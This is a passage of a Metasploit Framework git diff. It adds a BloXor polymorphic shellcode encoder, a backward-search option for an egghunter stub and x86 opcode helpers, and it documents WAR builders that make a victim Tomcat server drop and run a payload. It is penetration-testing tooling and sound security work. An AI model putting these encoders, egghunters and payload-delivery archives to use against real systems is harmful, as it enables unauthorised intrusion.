+Msf::Core::Payload::Java+ + # @see Msf::Payload::Java # + # @return [Rex::Zip::Jar] def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" @@ -1205,8 +1199,30 @@ End Sub zip end - # Creates a Web Archive (WAR) file from the provided jsp code. Additional options - # can be provided via the "opts" hash. + # Creates a Web Archive (WAR) file from the provided jsp code. + # + # On Tomcat, WAR files will be deployed into a directory with the same name + # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the + # server is in a default configuration, deoployment will happen + # automatically. See + # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat + # documentation} for a description of how this works. + # + # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ + # in the archive. This will be compiled by the victim servlet container + # (e.g., Tomcat) and act as the main function for the servlet. + # @param opts [Hash] + # @option opts :jsp_name [String] Name of the in the archive + # _without the .jsp extension_. Defaults to random. + # @option opts :app_name [String] Name of the app to put in the + # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to + # random. + # @option opts :extra_files [Array] Additional files to add + # to the archive. First elment is filename, second is data + # + # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} + # + # @return [String] def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -1247,9 +1263,15 @@ End Sub return zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. - # The jsp page converts the hexdump back to a normal .exe file and places it in - # the temp directory. The payload .exe file is then executed. + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a + # payload. The jsp page converts the hexdump back to a normal binary file + # and places it in the temp directory. The payload file is then executed. + # + # @see to_war + # @param exe [String] Executable to drop and run. + # @param opts (see to_war) + # @option opts (see to_war) + # @return (see to_war) def self.to_jsp_war(exe, opts={}) # begin .jsp diff --git a/lib/rex/arch/x86.rb b/lib/rex/arch/x86.rb index 16671ca21f..64b7d52302 100644 --- a/lib/rex/arch/x86.rb +++ b/lib/rex/arch/x86.rb @@ -22,16 +22,27 @@ module X86 ESI = DH = SI = 6 EDI = BH = DI = 7 - REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', - 'esp', 'ebp', 'esi', 'edi' ] # :nodoc: - + REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi' ] + + REG_NAMES16 = [ 'ax', 'cx', 'dx', 'bx', 'sp', 'bp', 'si', 'di' ] + + REG_NAMES8L = [ 'al', 'cl', 'dl', 'bl', nil, nil, nil, nil ] + # Jump tp a specific register def self.jmp_reg(str) reg = reg_number(str) _check_reg(reg) "\xFF" + [224 + reg].pack('C') end - + + # + # Generate a LOOP instruction (Decrement ECX and jump short if ECX == 0) + # + def self.loop(offset) + "\xE2" + pack_lsb(rel_number(offset, -2)) + end + + # # This method returns the opcodes that compose a jump instruction to the # supplied relative offset. def self.jmp(addr) diff --git a/lib/rex/encoder/bloxor/bloxor.rb b/lib/rex/encoder/bloxor/bloxor.rb new file mode 100644 index 0000000000..b7684a32d1 --- /dev/null +++ b/lib/rex/encoder/bloxor/bloxor.rb @@ -0,0 +1,326 @@ + +require 'rex/poly/machine' + +module Rex + +module Encoder + + class BloXor < Msf::Encoder + + def initialize( *args ) + super + @machine = nil + @blocks_out = [] + @block_size = 0 + end + + # + # + # + def decoder_stub( state ) + + if( not state.decoder_stub ) + @blocks_out = [] + @block_size = 0 + + # XXX: It would be ideal to use a random block size but unless we know the maximum size our final encoded + # blob can be we should instead start with the smallest block size and go up to avoid generating + # anything too big (if we knew the max size we could try something smaller if we generated a blob too big) + #block_sizes = (1..state.buf.length).to_a.shuffle + #block_sizes.each do | len | + + 1.upto( state.buf.length ) do | len | + + # For now we ignore all odd sizes to help with performance (The rex poly machine + # doesnt have many load/store primitives that can handle byte sizes efficiently) + if( len % 2 != 0 ) + next + end + + blocks, size = compute_encoded( state, len ) + if( blocks and size ) + + # We sanity check that the newly generated block ammount and the block size + # are not in the badchar list when converted into a hex form. Helps speed + # things up a great deal when generating a decoder stub later as these + # values may be used throughout. + + if( not number_is_valid?( state, blocks.length - 1 ) or not number_is_valid?( state, ~( blocks.length - 1 ) ) ) + next + end + + if( not number_is_valid?( state, size ) or not number_is_valid?( state, ~size ) ) + next + end + + @blocks_out = blocks + @block_size = size + + break + end + end + + raise RuntimeError, "Unable to generate seed block." if( @blocks_out.empty? ) + + state.decoder_stub = compute_decoder( state ) + end + + state.decoder_stub + end + + # + # + # + def encode_block( state, data ) + + buffer = '' + + @blocks_out.each do | block | + buffer << block.pack( 'C*' ) + end + + buffer + end + + protected + + # + # Is a number in its byte form valid against the badchars? + # + def number_is_valid?( state, number ) + size = 'C' + if( number > 0xFFFF ) + size = 'V' + elsif( number > 0xFF ) + size = 'v' + end + return Rex::Text.badchar_index( [ number ].pack( size ), state.badchars ).nil? + end + + # + # Calculate Shannon's entropy. + # + def entropy( data ) + entropy = 0.to_f + (0..255).each do | byte | + freq = data.to_s.count( byte.chr ).to_f / data.to_s.length + if( freq > 0 ) + entropy -= freq * Math.log2( freq ) + end + end + return entropy / 8 + end + + # + # Compute the encoded blocks (and associated seed) + # + def compute_encoded( state, len ) + + blocks_in = ::Array.new + + input = '' << state.buf + + block_padding = ( input.length % len ) > 0 ? len - ( input.length % len ) : 0 + + if( block_padding > 0 ) + 0.upto( block_padding-1 ) do + input << [ rand( 255 ) ].pack( 'C' ) + end + end + + while( input.length > 0 ) + blocks_in << input[0..len-1].unpack( 'C*' ) + input = input[len..input.length] + end + + seed = compute_seed( blocks_in, len, block_padding, state.badchars.unpack( 'C*' ) ) + + if( not seed ) + return [ nil, nil ] + end + + blocks_out = [ seed ] + + blocks_in.each do | block | + blocks_out << compute_block( blocks_out.last, block ) + end + + return [ blocks_out, len ] + end + + # + # Generate the decoder stub which is functionally equivalent to the following: + # + # source = &end; + # dest = source + BLOCK_SIZE; + # counter = BLOCK_COUNT * ( BLOCK_SIZE / chunk_size ); + # do + # { + # encoded = *(CHUNK_SIZE *)dest; + # dest += chunk_size; + # decoded = *(CHUNK_SIZE *)source; + # *(CHUNK_SIZE *)source = decoded ^ encoded; + # source += chunk_size; + # } while( --counter ); + # + # end: + # + def compute_decoder( state ) + + @machine.create_variable( 'source' ) + @machine.create_variable( 'dest' ) + @machine.create_variable( 'counter' ) + @machine.create_variable( 'encoded' ) + @machine.create_variable( 'decoded' ) + + chunk_size = Rex::Poly::Machine::BYTE + if( @machine.native_size() == Rex::Poly::Machine::QWORD ) + if( @block_size % Rex::Poly::Machine::QWORD == 0 ) + chunk_size = Rex::Poly::Machine::QWORD + elsif( @block_size % Rex::Poly::Machine::DWORD == 0 ) + chunk_size = Rex::Poly::Machine::DWORD + elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + elsif( @machine.native_size() == Rex::Poly::Machine::DWORD ) + if( @block_size % Rex::Poly::Machine::DWORD == 0 ) + chunk_size = Rex::Poly::Machine::DWORD + elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + elsif( @machine.native_size() == Rex::Poly::Machine::WORD ) + if( @block_size % Rex::Poly::Machine::WORD == 0 ) + chunk_size = Rex::Poly::Machine::WORD + end + end + + # Block 1 - Set the source variable to the address of the start block + @machine.create_block_primitive( 'block1', 'set', 'source', 'location' ) + + # Block 2 - Set the source variable to the address of the 1st encoded block + @machine.create_block_primitive( 'block2', 'add', 'source', 'end' ) + + # Block 3 - Set the destingation variable to the value of the source variable + @machine.create_block_primitive( 'block3', 'set', 'dest', 'source' ) + + # Block 4 - Set the destingation variable to the address of the 2nd encoded block + @machine.create_block_primitive( 'block4', 'add', 'dest', @block_size ) + + # Block 5 - Sets the loop counter to the number of blocks to process + @machine.create_block_primitive( 'block5', 'set', 'counter', ( ( @block_size / chunk_size ) * (@blocks_out.length - 1) ) ) + + # Block 6 - Set the encoded variable to the byte pointed to by the dest variable + @machine.create_block_primitive( 'block6', 'load', 'encoded', 'dest', chunk_size ) + + # Block 7 - Increment the destination variable by one + @machine.create_block_primitive( 'block7', 'add', 'dest', chunk_size ) + + # Block 8 - Set the decoded variable to the byte pointed to by the source variable + @machine.create_block_primitive( 'block8', 'load', 'decoded', 'source', chunk_size ) + + # Block 9 - Xor the decoded variable with the encoded variable + @machine.create_block_primitive( 'block9', 'xor', 'decoded', 'encoded' ) + + # Block 10 - store the newly decoded byte + @machine.create_block_primitive( 'block10', 'store', 'source', 'decoded', chunk_size ) + + # Block 11 - Increment the source variable by one + @machine.create_block_primitive( 'block11', 'add', 'source', chunk_size ) + + # Block 12 - Jump back up to the outer_loop block while the counter variable > 0 + @machine.create_block_primitive( 'block12', 'loop', 'counter', 'block6' ) + + # Try to generate the decoder stub... + decoder = @machine.generate + + if( not decoder ) + raise RuntimeError, "Unable to generate decoder stub." + end + + decoder + end + + # + # Compute the seed block which will successfully decode all proceeding encoded + # blocks while ensuring the encoded blocks do not contain any badchars. + # + def compute_seed( blocks_in, block_size, block_padding, badchars ) + seed = [] + redo_bytes = [] + + 0.upto( block_size-1 ) do | index | + + seed_bytes = (0..255).sort_by do + rand() + end + + seed_bytes.each do | seed_byte | + + next if( badchars.include?( seed_byte ) ) + + success = true + + previous_byte = seed_byte + + if( redo_bytes.length < 256 ) + redo_bytes = (0..255).sort_by do + rand() + end + end + + blocks_in.each do | block | + + decoded_byte = block[ index ] + + encoded_byte = previous_byte ^ decoded_byte + + if( badchars.include?( encoded_byte ) ) + # the padding bytes we added earlier can be changed if they are causing us to fail. + if( block == blocks_in.last and index >= (block_size-block_padding) ) + if( redo_bytes.empty? ) + success = false + break + end + block[ index ] = redo_bytes.shift + redo + end + + success = false + break + end + + previous_byte = encoded_byte + end + + if( success ) + seed << seed_byte + break + end + end + + end + + if( seed.length == block_size ) + return seed + end + + return nil + end + + # + # Compute the next encoded block by xoring the previous + # encoded block with the next decoded block. + # + def compute_block( encoded, decoded ) + block = [] + 0.upto( encoded.length-1 ) do | index | + block << ( encoded[ index ] ^ decoded[ index ] ) + end + return block + end + + end + +end + +end \ No newline at end of file diff --git a/lib/rex/exploitation/egghunter.rb b/lib/rex/exploitation/egghunter.rb index f65545a67b..e937bb082b 100644 --- a/lib/rex/exploitation/egghunter.rb +++ b/lib/rex/exploitation/egghunter.rb @@ -22,6 +22,7 @@ module Exploitation # Conversion to use Metasm by jduck # Startreg code added by corelanc0d3r # Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r) +# Added support for searchforward option (true or false) # ### class Egghunter @@ -42,7 +43,8 @@ class Egghunter # def hunter_stub(payload, badchars = '', opts = {}) - startreg = opts[:startreg] + startreg = opts[:startreg] + searchforward = opts[:searchforward] raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4 marker = "0x%x" % opts[:eggtag].unpack('V').first @@ -59,6 +61,19 @@ class Egghunter end startstub << "\n\t" if startstub.length > 0 + # search forward or backward ? + flippage = "\n\tor dx,0xfff" + edxdirection = "\n\tinc edx" + + if searchforward + if searchforward.to_s.downcase == 'false' + # go backwards + flippage = "\n\txor dl,dl" + edxdirection = "\n\tdec edx" + end + end + + # other vars getpointer = '' getsize = '' getalloctype = '' @@ -194,9 +209,9 @@ class Egghunter #{getpointer} #{startstub} check_readable: - or dx,0xfff + #{flippage} next_addr: - inc edx + #{edxdirection} push edx push 0x02 ; use NtAccessCheckAndAuditAlarm syscall pop eax @@ -213,10 +228,8 @@ check_for_tag: ; it must match a second time too scasd jne next_addr - ; check the checksum if the feature is enabled #{checksum} - ; jump to the payload #{jmppayload} EOS diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb index 94e17c06dc..70db94e338 100644 --- a/lib/rex/exploitation/obfuscatejs.rb +++ b/lib/rex/exploitation/obfuscatejs.rb @@ -18,12 +18,12 @@ class ObfuscateJS # # The 'Symbols' argument should have the following format: # - # { - # 'Variables' => [ 'var1', ... ], - # 'Methods' => [ 'method1', ... ], - # 'Namespaces' => [ 'n', ... ], - # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] - # } + # { + # 'Variables' => [ 'var1', ... ], + # 'Methods' => [ 'method1', ... ], + # 'Namespaces' => [ 'n', ... ], + # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] + # } # # Make sure you order your methods, classes, and namespaces by most # specific to least specific to prevent partial substitution. For @@ -138,14 +138,14 @@ class ObfuscateJS # while (buf.length < len) # buf << set[rand(set.length)].chr # end - # + # # buf #} end # Remove our comments remove_comments - + # Globally replace symbols replace_symbols(@opts['Symbols']) if @opts['Symbols'] @@ -191,9 +191,9 @@ protected next if symbols[symtype].nil? symbols[symtype].each { |sym| dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn) - + taken[dyn] = true - + if symtype == 'Classes' full_sym = sym['Namespace'] + "." + sym['Class'] @dynsym[full_sym] = dyn diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index cb0af219e2..bf268e6b36 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -12,34 +12,31 @@ class PeBase # #define IMAGE_DOS_SIGNATURE 0x5A4D // MZ - IMAGE_DOS_SIGNATURE = 0x5a4d - # - # typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header - # WORD e_magic; // Magic number - # WORD e_cblp; // Bytes on last page of file - # WORD e_cp; // Pages in file - # WORD e_crlc; // Relocations - # WORD e_cparhdr; // Size of header in paragraphs - # WORD e_minalloc; // Minimum extra paragraphs needed - # WORD e_maxalloc; // Maximum extra paragraphs needed - # WORD e_ss; // Initial (relative) SS value - # WORD e_sp; // Initial SP value - # WORD e_csum; // Checksum - # WORD e_ip; // Initial IP value - # WORD e_cs; // Initial (relative) CS value - # WORD e_lfarlc; // File address of relocation table - # WORD e_ovno; // Overlay number - # WORD e_res[4]; // Reserved words - # WORD e_oemid; // OEM identifier (for e_oeminfo) - # WORD e_oeminfo; // OEM information; e_oemid specific - # WORD e_res2[10]; // Reserved words - # LONG e_lfanew; // File address of new exe header - # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; - # - IMAGE_DOS_HEADER_SIZE = 64 + # Struct + # typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header + # WORD e_magic; // Magic number + # WORD e_cblp; // Bytes on last page of file + # WORD e_cp; // Pages in file + # WORD e_crlc; // Relocations + # WORD e_cparhdr; // Size of header in paragraphs + # WORD e_minalloc; // Minimum extra paragraphs needed + # WORD e_maxalloc; // Maximum extra paragraphs needed + # WORD e_ss; // Initial (relative) SS value + # WORD e_sp; // Initial SP value + # WORD e_csum; // Checksum + # WORD e_ip; // Initial IP value + # WORD e_cs; // Initial (relative) CS value + # WORD e_lfarlc; // File address of relocation table + # WORD e_ovno; // Overlay number + # WORD e_res[4]; // Reserved words + # WORD e_oemid; // OEM identifier (for e_oeminfo) + # WORD e_oeminfo; // OEM information; e_oemid specific + # WORD e_res2[10]; // Reserved words + # LONG e_lfanew; // File address of new exe header + # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; IMAGE_DOS_HEADER = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'e_magic', IMAGE_DOS_SIGNATURE ], [ 'uint16v', 'e_cblp', 0 ], @@ -142,31 +139,29 @@ class PeBase return DosHeader.new(rawdata) end - # - # typedef struct _IMAGE_FILE_HEADER { - # WORD Machine; - # WORD NumberOfSections; - # DWORD TimeDateStamp; - # DWORD PointerToSymbolTable; - # DWORD NumberOfSymbols; - # WORD SizeOfOptionalHeader; - # WORD Characteristics; - # } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; - # # #define IMAGE_NT_SIGNATURE 0x00004550 // PE00 - # #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. - # #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 - # #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 - # #define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) - # #define IMAGE_SIZEOF_FILE_HEADER 20 - # - IMAGE_NT_SIGNATURE = 0x00004550 + # #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. IMAGE_FILE_MACHINE_I386 = 0x014c + # #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 IMAGE_FILE_MACHINE_IA64 = 0x0200 + # #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 IMAGE_FILE_MACHINE_ALPHA64 = 0x0284 + # #define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) IMAGE_FILE_MACHINE_AMD64 = 0x8664 + # #define IMAGE_SIZEOF_FILE_HEADER 20 IMAGE_FILE_HEADER_SIZE = 20+4 # because we include the signature + + # C struct defining the PE file header + # typedef struct _IMAGE_FILE_HEADER { + # WORD Machine; + # WORD NumberOfSections; + # DWORD TimeDateStamp; + # DWORD PointerToSymbolTable; + # DWORD NumberOfSymbols; + # WORD SizeOfOptionalHeader; + # WORD Characteristics; + # } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; IMAGE_FILE_HEADER = Rex::Struct2::CStructTemplate.new( # not really in the header, but easier for us this way [ 'uint32v', 'NtSignature', 0 ], @@ -222,24 +217,23 @@ class PeBase return FileHeader.new(rawdata) end - # - # typedef struct _IMAGE_IMPORT_DESCRIPTOR { - # union { - # DWORD Characteristics; // 0 for terminating null import descriptor - # DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) - # }; - # DWORD TimeDateStamp; // 0 if not bound, - # // -1 if bound, and real date\time stamp - # // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) - # // O.W. date/time stamp of DLL bound to (Old BIND) - # - # DWORD ForwarderChain; // -1 if no forwarders - # DWORD Name; - # DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) - # } IMAGE_IMPORT_DESCRIPTOR; - # IMAGE_ORDINAL_FLAG32 = 0x80000000 IMAGE_IMPORT_DESCRIPTOR_SIZE = 20 + # Struct + # typedef struct _IMAGE_IMPORT_DESCRIPTOR { + # union { + # DWORD Characteristics; // 0 for terminating null import descriptor + # DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) + # }; + # DWORD TimeDateStamp; // 0 if not bound, + # // -1 if bound, and real date\time stamp + # // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + # // O.W. date/time stamp of DLL bound to (Old BIND) + # + # DWORD ForwarderChain; // -1 if no forwarders + # DWORD Name; + # DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) + # } IMAGE_IMPORT_DESCRIPTOR; IMAGE_IMPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'OriginalFirstThunk', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -248,11 +242,10 @@ class PeBase [ 'uint32v', 'FirstThunk', 0 ] ) - # - # typedef struct _IMAGE_IMPORT_BY_NAME { - # WORD Hint; - # BYTE Name[1]; - # } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; + # typedef struct _IMAGE_IMPORT_BY_NAME { + # WORD Hint; + # BYTE Name[1]; + # } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; # class ImportDescriptor @@ -271,22 +264,22 @@ class PeBase end end - # - # typedef struct _IMAGE_EXPORT_DIRECTORY { - # DWORD Characteristics; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD Name; - # DWORD Base; - # DWORD NumberOfFunctions; - # DWORD NumberOfNames; - # DWORD AddressOfFunctions; // RVA from base of image - # DWORD AddressOfNames; // RVA from base of image - # DWORD AddressOfNameOrdinals; // RVA from base of image - # } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; - # + # sizeof(struct _IMAGE_EXPORT_DESCRIPTOR) IMAGE_EXPORT_DESCRIPTOR_SIZE = 40 + # Struct defining the export table + # typedef struct _IMAGE_EXPORT_DIRECTORY { + # DWORD Characteristics; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD Name; + # DWORD Base; + # DWORD NumberOfFunctions; + # DWORD NumberOfNames; + # DWORD AddressOfFunctions; // RVA from base of image + # DWORD AddressOfNames; // RVA from base of image + # DWORD AddressOfNameOrdinals; // RVA from base of image + # } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; IMAGE_EXPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Characteristics', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -320,12 +313,6 @@ class PeBase end end - # - # typedef struct _IMAGE_DATA_DIRECTORY { - # DWORD VirtualAddress; - # DWORD Size; - # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; - # IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 IMAGE_DATA_DIRECTORY_SIZE = 8 IMAGE_DIRECTORY_ENTRY_EXPORT = 0 @@ -344,57 +331,62 @@ class PeBase IMAGE_DIRECTORY_ENTRY_IAT = 12 IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 + # Struct + # typedef struct _IMAGE_DATA_DIRECTORY { + # DWORD VirtualAddress; + # DWORD Size; + # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; IMAGE_DATA_DIRECTORY = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'VirtualAddress', 0 ], [ 'uint32v', 'Size', 0 ] ) + # Struct + # typedef struct _IMAGE_OPTIONAL_HEADER { + # // + # // Standard fields. + # // # - # typedef struct _IMAGE_OPTIONAL_HEADER { - # // - # // Standard fields. - # // + # WORD Magic; + # BYTE MajorLinkerVersion; + # BYTE MinorLinkerVersion; + # DWORD SizeOfCode; + # DWORD SizeOfInitializedData; + # DWORD SizeOfUninitializedData; + # DWORD AddressOfEntryPoint; + # DWORD BaseOfCode; + # DWORD BaseOfData; # - # WORD Magic; - # BYTE MajorLinkerVersion; - # BYTE MinorLinkerVersion; - # DWORD SizeOfCode; - # DWORD SizeOfInitializedData; - # DWORD SizeOfUninitializedData; - # DWORD AddressOfEntryPoint; - # DWORD BaseOfCode; - # DWORD BaseOfData; + # // + # // NT additional fields. + # // # - # // - # // NT additional fields. - # // + # DWORD ImageBase; + # DWORD SectionAlignment; + # DWORD FileAlignment; + # WORD MajorOperatingSystemVersion; + # WORD MinorOperatingSystemVersion; + # WORD MajorImageVersion; + # WORD MinorImageVersion; + # WORD MajorSubsystemVersion; + # WORD MinorSubsystemVersion; + # DWORD Win32VersionValue; + # DWORD SizeOfImage; + # DWORD SizeOfHeaders; + # DWORD CheckSum; + # WORD Subsystem; + # WORD DllCharacteristics; + # DWORD SizeOfStackReserve; + # DWORD SizeOfStackCommit; + # DWORD SizeOfHeapReserve; + # DWORD SizeOfHeapCommit; + # DWORD LoaderFlags; + # DWORD NumberOfRvaAndSizes; + # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + # } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; # - # DWORD ImageBase; - # DWORD SectionAlignment; - # DWORD FileAlignment; - # WORD MajorOperatingSystemVersion; - # WORD MinorOperatingSystemVersion; - # WORD MajorImageVersion; - # WORD MinorImageVersion; - # WORD MajorSubsystemVersion; - # WORD MinorSubsystemVersion; - # DWORD Win32VersionValue; - # DWORD SizeOfImage; - # DWORD SizeOfHeaders; - # DWORD CheckSum; - # WORD Subsystem; - # WORD DllCharacteristics; - # DWORD SizeOfStackReserve; - # DWORD SizeOfStackCommit; - # DWORD SizeOfHeapReserve; - # DWORD SizeOfHeapCommit; - # DWORD LoaderFlags; - # DWORD NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; - # - # #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b - # #define IMAGE_SIZEOF_NT_OPTIONAL32_HEADER 224 + # #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b + # #define IMAGE_SIZEOF_NT_OPTIONAL32_HEADER 224 # IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b @@ -450,46 +442,44 @@ class PeBase )] ) - # - # typedef struct _IMAGE_OPTIONAL_HEADER64 { - # USHORT Magic; - # UCHAR MajorLinkerVersion; - # UCHAR MinorLinkerVersion; - # ULONG SizeOfCode; - # ULONG SizeOfInitializedData; - # ULONG SizeOfUninitializedData; - # ULONG AddressOfEntryPoint; - # ULONG BaseOfCode; - # ULONGLONG ImageBase; - # ULONG SectionAlignment; - # ULONG FileAlignment; - # USHORT MajorOperatingSystemVersion; - # USHORT MinorOperatingSystemVersion; - # USHORT MajorImageVersion; - # USHORT MinorImageVersion; - # USHORT MajorSubsystemVersion; - # USHORT MinorSubsystemVersion; - # ULONG Win32VersionValue; - # ULONG SizeOfImage; - # ULONG SizeOfHeaders; - # ULONG CheckSum; - # USHORT Subsystem; - # USHORT DllCharacteristics; - # ULONGLONG SizeOfStackReserve; - # ULONGLONG SizeOfStackCommit; - # ULONGLONG SizeOfHeapReserve; - # ULONGLONG SizeOfHeapCommit; - # ULONG LoaderFlags; - # ULONG NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; - # - # #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b # #define IMAGE_SIZEOF_NT_OPTIONAL64_HEADER 240 - # - IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b + # #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b IMAGE_SIZEOF_NT_OPTIONAL64_HEADER = 240 + + # Struct + # typedef struct _IMAGE_OPTIONAL_HEADER64 { + # USHORT Magic; + # UCHAR MajorLinkerVersion; + # UCHAR MinorLinkerVersion; + # ULONG SizeOfCode; + # ULONG SizeOfInitializedData; + # ULONG SizeOfUninitializedData; + # ULONG AddressOfEntryPoint; + # ULONG BaseOfCode; + # ULONGLONG ImageBase; + # ULONG SectionAlignment; + # ULONG FileAlignment; + # USHORT MajorOperatingSystemVersion; + # USHORT MinorOperatingSystemVersion; + # USHORT MajorImageVersion; + # USHORT MinorImageVersion; + # USHORT MajorSubsystemVersion; + # USHORT MinorSubsystemVersion; + # ULONG Win32VersionValue; + # ULONG SizeOfImage; + # ULONG SizeOfHeaders; + # ULONG CheckSum; + # USHORT Subsystem; + # USHORT DllCharacteristics; + # ULONGLONG SizeOfStackReserve; + # ULONGLONG SizeOfStackCommit; + # ULONGLONG SizeOfHeapReserve; + # ULONGLONG SizeOfHeapCommit; + # ULONG LoaderFlags; + # ULONG NumberOfRvaAndSizes; + # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + # } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; IMAGE_OPTIONAL_HEADER64 = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'Magic', 0 ], [ 'uint8', 'MajorLinkerVersion', 0 ], @@ -601,27 +591,24 @@ class PeBase end - # - # typedef struct _IMAGE_SECTION_HEADER { - # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; - # union { - # DWORD PhysicalAddress; - # DWORD VirtualSize; - # } Misc; - # DWORD VirtualAddress; - # DWORD SizeOfRawData; - # DWORD PointerToRawData; - # DWORD PointerToRelocations; - # DWORD PointerToLinenumbers; - # WORD NumberOfRelocations; - # WORD NumberOfLinenumbers; - # DWORD Characteristics; - # } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; - # # #define IMAGE_SIZEOF_SECTION_HEADER 40 - # - IMAGE_SIZEOF_SECTION_HEADER = 40 + # Struct + # typedef struct _IMAGE_SECTION_HEADER { + # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; + # union { + # DWORD PhysicalAddress; + # DWORD VirtualSize; + # } Misc; + # DWORD VirtualAddress; + # DWORD SizeOfRawData; + # DWORD PointerToRawData; + # DWORD PointerToRelocations; + # DWORD PointerToLinenumbers; + # WORD NumberOfRelocations; + # WORD NumberOfLinenumbers; + # DWORD Characteristics; + # } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; IMAGE_SECTION_HEADER = Rex::Struct2::CStructTemplate.new( [ 'string', 'Name', 8, '' ], [ 'uint32v', 'Misc', 0 ], @@ -669,17 +656,16 @@ class PeBase return section_headers end - # - # typedef struct _IMAGE_BASE_RELOCATION { - # DWORD VirtualAddress; - # DWORD SizeOfBlock; - # // WORD TypeOffset[1]; - # } IMAGE_BASE_RELOCATION; - # typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; - # # #define IMAGE_SIZEOF_BASE_RELOCATION 8 - # IMAGE_SIZEOF_BASE_RELOCATION = 8 + + # Struct + # typedef struct _IMAGE_BASE_RELOCATION { + # DWORD VirtualAddress; + # DWORD SizeOfBlock; + # // WORD TypeOffset[1]; + # } IMAGE_BASE_RELOCATION; + # typedef IMAGE_BASE_RELOCATION 